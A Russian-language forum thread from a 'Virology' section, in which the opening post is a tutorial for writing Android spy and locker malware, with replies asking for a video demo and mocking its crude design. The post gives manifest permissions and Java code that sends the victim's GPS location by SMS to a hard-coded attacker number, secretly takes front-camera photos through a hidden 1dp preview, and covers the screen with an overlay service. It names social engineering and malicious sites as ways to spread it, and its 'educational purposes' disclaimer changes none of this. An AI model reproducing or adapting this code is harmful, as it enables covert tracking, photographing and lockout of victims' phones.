Загрузка...

Пишем свой шпионский троян, вирус блокировщик на Android

Тема в разделе Вирусология создана пользователем Samir007 2 авг 2024. 709 просмотров

Загрузка...
  1. Samir007
    Samir007 Автор темы 2 авг 2024 53 7 авг 2019
    Всем Hello World! Сегодня напишем с вами вирус, который будет отслеживать местоположение человека, фотографировать человека через фронтальную камеру, блокировать доступ ко всем приложениям и отправлять местоположение и фотографии так называемому взломщику :pepeHacker:

    Сперва добавляем необходимые разрешения в файл AndroidManifest.xml:

    Код
       <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    Следующим шагом создаем класс для обработки местоположения, отправки SMS, фотографирования и блокировки приложений:

    Код
    import android.Manifest;
    import android.content.Context;
    import android.content.Intent;
    import android.content.pm.PackageManager;
    import android.graphics.Bitmap;
    import android.graphics.BitmapFactory;
    import android.hardware.Camera;
    import android.location.Location;
    import android.location.LocationListener;
    import android.location.LocationManager;
    import android.net.Uri;
    import android.os.Bundle;
    import android.os.Environment;
    import android.provider.MediaStore;
    import android.telephony.SmsManager;
    import android.view.SurfaceHolder;
    import android.view.SurfaceView;
    import android.view.WindowManager;
    import androidx.appcompat.app.AppCompatActivity;
    import androidx.core.app.ActivityCompat;
    import java.io.ByteArrayOutputStream;
    import java.io.File;
    import java.io.FileOutputStream;

    public class MainActivity extends AppCompatActivity implements SurfaceHolder.Callback {

    private LocationManager locationManager;
    private LocationListener locationListener;
    private Camera camera;
    private SurfaceView surfaceView;
    private SurfaceHolder surfaceHolder;
    private String hackerPhoneNumber = "+1234567890"; // Номер телефона взломщика

    @Override
    protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // Инициализация LocationManager
    locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);

    // Создание LocationListener для обработки изменений местоположения
    locationListener = new LocationListener() {
    @Override
    public void onLocationChanged(Location location) {
    double latitude = location.getLatitude();
    double longitude = location.getLongitude();
    sendLocationToHacker(latitude, longitude);
    }

    @Override
    public void onStatusChanged(String provider, int status, Bundle extras) {}

    @Override
    public void onProviderEnabled(String provider) {}

    @Override
    public void onProviderDisabled(String provider) {}
    };

    // Проверка разрешений и запрос местоположения
    if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION}, 1);
    return;
    }
    locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, locationListener);

    // Инициализация камеры
    surfaceView = findViewById(R.id.surfaceView);
    surfaceHolder = surfaceView.getHolder();
    surfaceHolder.addCallback(this);

    // Блокировка доступа ко всем приложениям
    getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
    startService(new Intent(this, OverlayService.class));
    }

    private void sendLocationToHacker(double latitude, double longitude) {
    String message = "Location: Latitude = " + latitude + ", Longitude = " + longitude;
    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(hackerPhoneNumber, null, message, null, null);
    }

    @Override
    public void surfaceCreated(SurfaceHolder holder) {
    camera = Camera.open(Camera.CameraInfo.CAMERA_FACING_FRONT);
    try {
    camera.setPreviewDisplay(holder);
    camera.startPreview();
    camera.takePicture(null, null, pictureCallback);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }

    @Override
    public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}

    @Override
    public void surfaceDestroyed(SurfaceHolder holder) {
    if (camera != null) {
    camera.stopPreview();
    camera.release();
    camera = null;
    }
    }

    private Camera.PictureCallback pictureCallback = new Camera.PictureCallback() {
    @Override
    public void onPictureTaken(byte[] data, Camera camera) {
    try {
    Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
    File photoFile = savePhoto(bitmap);
    sendPhotoToHacker(photoFile);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }
    };

    private File savePhoto(Bitmap bitmap) throws Exception {
    File photoFile = new File(getExternalFilesDir(Environment.DIRECTORY_PICTURES), "photo.jpg");
    FileOutputStream fos = new FileOutputStream(photoFile);
    bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);
    fos.close();
    return photoFile;
    }

    private void sendPhotoToHacker(File photoFile) {
    try {
    SmsManager smsManager = SmsManager.getDefault();
    Uri photoUri = Uri.fromFile(photoFile);
    String message = "Photo taken: " + photoUri.getPath();
    smsManager.sendTextMessage(hackerPhoneNumber, null, message, null, null);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }
    }
    После этого, создадим службу для блокировки доступа ко всем приложениям:

    Код
    import android.app.Service;
    import android.content.Intent;
    import android.os.IBinder;
    import android.view.LayoutInflater;
    import android.view.View;
    import android.view.WindowManager;

    public class OverlayService extends Service {

    private WindowManager windowManager;
    private View overlayView;

    @Override
    public IBinder onBind(Intent intent) {
    return null;
    }

    @Override
    public void onCreate() {
    super.onCreate();
    windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
    overlayView = LayoutInflater.from(this).inflate(R.layout.overlay_view, null);

    WindowManager.LayoutParams params = new WindowManager.LayoutParams(
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
    WindowManager.LayoutParams.FLAG_FULLSCREEN);

    windowManager.addView(overlayView, params);
    }

    @Override
    public void onDestroy() {
    super.onDestroy();
    if (overlayView != null) {
    windowManager.removeView(overlayView);
    }
    }
    }
    Затем создадим макет для overlay_view.xml:

    Код
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="#80000000">
    </RelativeLayout>
    Добавим макет для SurfaceView в activity_main.xml:

    Код
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <SurfaceView
    android:id="@+id/surfaceView"
    android:layout_width="1dp"
    android:layout_height="1dp"
    android:layout_centerInParent="true"/>
    </RelativeLayout>
    Вот и все, вы создали свой вирус блокировщик, а также шпион на Android :pepeHacker:
    Что для вас еще написать, предлагайте свои идеи

    Документация:

    Целевые устройства: Android версии 6.0 и выше
    Методы распространения: ******овые сообщения, социальная инженерия, вирусные веб-сайты
    Ущерб: Нарушение конфиденциальности, сбор личной информации, блокировка устройства

    Предупреждение:
    Этот вирус создан исключительно в образовательных целях. Он предназначен для демонстрации возможных угроз безопасности и способов их предотвращения. Использование данного кода для любых незаконных или неэтичных действий строго запрещено.
    Создание, распространение и использование вредоносного программного обеспечения могут привести к серьёзным правовым последствиям, включая уголовную ответственность.
    Автор не несет ответственности за любые убытки или ущерб, причиненные в результате использования или злоупотребления этим кодом.
     
  2. КуниДорого
    КуниДорого test 2 авг 2024 :cryingcat: Меня оскорбили в интернете…
    Видео пример работы будет?
     
    1. Lologhh
      КуниДорого, согласен нужен видео пример для тех кто не понимает
  3. Apulap
    Apulap 4 авг 2024 0 12 ноя 2022
    кто нибудь шарит за ssdeep ?
     
  4. Nmz
    Nmz 10 авг 2024 45 31 июл 2023
    номер телефона взломщика, блокировка доступа ко всем приложениям просто наложением
     
Top